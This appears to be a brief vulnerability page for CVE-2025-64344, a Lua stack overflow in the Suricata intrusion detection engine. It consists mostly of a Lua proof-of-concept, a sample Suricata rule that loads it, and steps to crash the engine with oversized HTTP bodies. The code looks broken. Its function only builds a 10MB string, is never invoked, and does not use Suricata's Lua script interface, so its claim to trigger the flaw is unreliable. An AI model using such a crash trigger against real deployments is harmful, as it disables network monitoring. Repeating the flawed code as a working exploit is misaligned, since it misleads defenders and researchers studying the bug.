CVE-2025-64344: Suricata Lua脚本大缓冲区栈溢出漏洞

-- CVE-2025-64344 PoC - Suricata Lua Stack Overflow -- This PoC demonstrates the stack overflow vulnerability in Lua scripts -- when handling large buffers in Suricata -- Create a Lua script that will be used in Suricata rules local function exploit_stack_overflow() -- Large buffer that exceeds stack size local large_buffer = string.rep("A", 1024 * 1024 * 10) -- 10MB buffer -- This will trigger stack overflow when processed by Suricata -- The buffer is passed to Lua script without proper size checking return large_buffer end -- Example Suricata rule that triggers the vulnerability -- alert http any any -> any any (msg:"Large buffer test"; -- flow:established,to_server; lua:exploit.lua; sid:1000001;) -- To test: -- 1. Configure Suricata with the vulnerable Lua script -- 2. Send HTTP traffic with large response body (>5MB) -- 3. Monitor for crashes or abnormal behavior -- Note: This is for educational and testing purposes only